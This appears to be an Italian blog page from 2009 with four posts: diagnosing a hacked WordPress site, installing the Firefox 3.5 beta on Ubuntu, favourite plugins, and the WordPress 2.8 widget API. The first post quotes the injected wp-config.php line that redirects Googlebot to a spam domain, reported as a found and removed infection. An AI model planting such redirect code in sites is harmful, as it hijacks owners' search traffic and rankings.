26 giugno 2009
Pubblicato in Varie, WordPress | Commenti (13)
In passato su vari blog ho letto di attacchi e problemi di sicurezza a blog basati su WordPress. Una cosa simile era capitata non molto tempo fa anche a Ghido su BigThink. Mai prima d’ora mi era capitato un problema del genere. Nel mio caso possiamo parlare di un attacco quasi invisibile: il codice che ha infettato questo blog si occupava di reindirizzare le richieste del bot di Google ad un altro sito.
I sintomi
La cosa più difficile è stata proprio accorgersi che qualcosa non andava come doveva. Inizialmente mi ero accorto di alcuni problemi con il feed RSS: Google Reader non mi riportava più gli aggiornamenti del blog nonostante il feed venisse visualizzato nel browser correttamente, ho quindi deciso di spostarmi su FeedBurner e il problema sembrava risolto.
Mi sono quindi accorto che su Google non venivano indicizzati i miei articoli più recenti e, in fine, il Pagerank sceso da 3 a 0 senza alcun apparente motivo.
Inizio allora a sospettare che il bot di Google non riesca più ad accedere alle mie pagine. Ne ho la conferma analizzando il risultato delle richieste HTTP: Google viene reindirizzato ad un altro sito!
Alla ricerca del problema
Il primo posto dove mi viene in mente di cercare è il file .htaccess: il modo più semplice per effetture un redirect in base allo user agent è proprio quello di modificare questo file. Controllo il file, ma questo risulta pulito ed è presente solo il codice generato da WordPress per i permalink.
Ho letto spesso di inserimento di codici maligni nei temi WordPress. Anche se ero decisamente sicuro che il problema non risiedesse nel codice del tema, per togliermi ogni dubbio ho deciso di fare una scansione con WPAntiVirus, ma nulla: come prevedibile anche il tema era pulito.
Arrivo alla conclusione che il problema deve stare in qualche file PHP. La lista dei file e delle cartelle presenti nel mio spazio sembra, però, essere normale. Mi rassegno quindi al dover controllare uno ad uno i file del core di WordPress. Partendo da index.php seguo il percorso delle inclusioni:
- index.php: nulla di strano
- wp-blog-header.php: nulla nemmeno qui
- wp-load.php: pulito
- wp-config.php: eccolo, qui c’è qualcosa che non ci dovrebbe essere
Verso la linea 38 di wp-config.php fa capolino questa stringa:
38
| $agent = $_SERVER['HTTP_USER_AGENT']; if (eregi("google", $agent)) {header("HTTP/1.1 301"); header("Location: http://doormoney.us/"); exit(); } |
Per i non avezzi al PHP questo codice non fa altro che intercettare lo user agent di Google, inviargli un codice di redirect permanente 301 al sito doormoney.us. Ecco spiegato perchè i contenuti non venivano più indicizzati e il perchè del calo del PageRank. Eliminando questo codice finalmente tutto torna alla normalità.
20 giugno 2009
Pubblicato in GNU/Linux | Commenti (2)
Senza nulla togliere a Firefox bisogna ammettere che nelle ultime release il borwser di casa Mozilla sia diventato incredibilmente lento e pesante e con tutta obiettività non regge il confronto con altri browser. Mi sono, infatti, ritrovato a convertirmi all’uso di Google Chrome/Chromium sia su Linux che su Windows. Per la versione 3.5 da Mozilla promettono una maggiore leggerezza e velocità per il loro browser. Il rilascio è tra una decina di giorni, ma nulla ci vieta di dare sin da ora uno sguardo alla beta di Firefox 3.5.
Installiamo da repository
Vediamo come fare per installare la beta di Firefox 3.5 su Ubuntu Jaunty. Prima di tutto dobbiamo aggiungere il repository al file /etc/apt/sources.list aggiungendo le seguenti righe:
deb http://ppa.launchpad.net/ubuntu-mozilla-daily/ppa/ubuntu jaunty main
deb-src http://ppa.launchpad.net/ubuntu-mozilla-daily/ppa/ubuntu jaunty main
Quindi apriamo il terminale ed aggiungiamo la chiave GPG:
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 247510BE
Poi aggiorniamo la lista dei repository di apt:
Ora siamo pronti ad instalare la beta della 3.5:
sudo apt-get install firefox-3.5
L’installazione non sovrascriverà le versioni precedenti e sarà accessibile dal menu Applicazioni → Internet sotto il nome di Minefield 3.5 Web Browser.
Considerazioni
I tempi non sono ovviamente ancora maturi per poter dare un giudizio: è pur sempre una beta. C’è da osservare, però, che già da ora si nota un sensibile aumento nella velocità di avvio e qualche piccolo cambiamento nell’interfaccia (è stato aggiunto un pulsante accanto alle tab per aprirne una nuova). Tutto sommato sembra sia abbastanza stabile, anche se non ho avuto modo di stressarla eccessivamente. Con i dovuti limiti questa versione potrebbe anche essere utilizzata per la navigazione di tutti i giorni, anche se lo sconsiglio.
18 giugno 2009
Pubblicato in WordPress | Commenti (5)
Nella mia esperienza di blogger su piattaforma WordPress mi sono ritrovato a testare ed utilizzare decine di plugin e a svilupparne talvolta dei miei per poter personalizzare al punto giusto ogni singola installazione. Ognuno di noi utilizza dei plugin che ritiene gli siano indispensabili, ho deciso quindi di proporvi la mia classifica di quei 5 plugin a cui non potrei rinunciare.
1. Akismet
Come non iniziare questa lista con Akismet, l’anti-spam sviluppato da Automattic, la società che sta dietro a WordPress. Lo si trova caricato di default, ma per attivarlo è necessario disporre di una API key ottenibile registrando gratuitamente un account su Wordpress.com.
2. Google Analytics for WordPress
Google Analytics for WordPress è uno di quei plugin che non manco mai di aggiungere ad ogni nuova installazione. Sul perchè non sia consigliabile copiare ed incollare il codice di Google Analytics direttamente nel proprio theme se ne è parlato molto, per approfondire vi consiglio di dare una lettura a questo articolo.
3. WP-Syntax
In un blog tecnico come il mio capita spesso di dover postare dei blocchi di codice. Quasi da subito ho sentito l’esigenza di un plugin come WP-Syntax che mi permettesse di evidenziare la sintassi dei codici in diversi linguaggi di programmazione. Mi sono sempre trovato discretamente bene con questo code highlighter, ma sto pensando di migrare a
Google Syntax Highlighter.
4. Maintenance Mode
Ad ognuno di noi è capitato di dover mandare in pausa il proprio blog per un po’, anche solo per caricare e testare un nuovo theme o per aggiornare la versione di WordPress. Maintenance Mode è un plugin che ci aiuta in situazioni del genere. In giro si leggono opinioni discordanti a riguardo, ma posso dire che per quanto riguarda la mia personale esperienza Maintenance Mode non mi ha mai creato problemi.
5. WP-ContactForm
Una cosa a cui ogni blogger non può non può rinunciare è dare la possibilità ai propri lettori di poterlo contattare. Un semplice form di contatto come WP-ContactForm si adatta facilmente a tutte le esigenze. Attualmente sto meditando di cambiare plugin per il form di contatto, ma non ho ancora trovato qualcosa che faccia al caso mio.
16 giugno 2009
Pubblicato in Sviluppo web, WordPress | Lascia un commento
Come alcuni di voi sapranno poco meno di una settimana fa è stata rilasciata la nuova versione di WordPress, la 2.8. Tra le varie novità che quest’ultima versione porta con se c’è anche un set di API per la scrittura dei widget tutto nuovo.
Le novità: l’approccio ad oggetti
La novitĂ risiede nell’adozione del paradigma orientato agli oggetti: per sviluppare un nuovo widget ci basterà semplicemente estendere la classe WP_Widget ed in fine, similmente a come avevamo già visto, registrare il tutto con register_widget.
La struttura di un widget scritto secondo le nuove specifiche sarà in sostanza questa:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
class il_mio_widget extends WP_Widget {
function il_mio_widget() {
// Costruttore della classe
}
function widget($args, $instance) {
// Corpo del Widget
}
function update($new_instance, $old_instance) {
// Salvataggio delle opzioni
}
function form($instance) {
// Form di amministrazione
}
}
register_widget('il_mio_widget');
?> |
Come è facile intuire dai nomi dei metodi e dai commenti al codice la funzione widget() si occuperà dell’output del widget, update() di salvare le opzioni e form() dell’output del form di amministrazione.
Approfondimenti
Per ulteriori approfondimenti a riguardo vi rimando come sempre al Codex ufficiale di WordPress. Segnalo inoltre l’articolo Build A WordPress 2.8 Widget With The New Widget API pubblicato su WPengineer.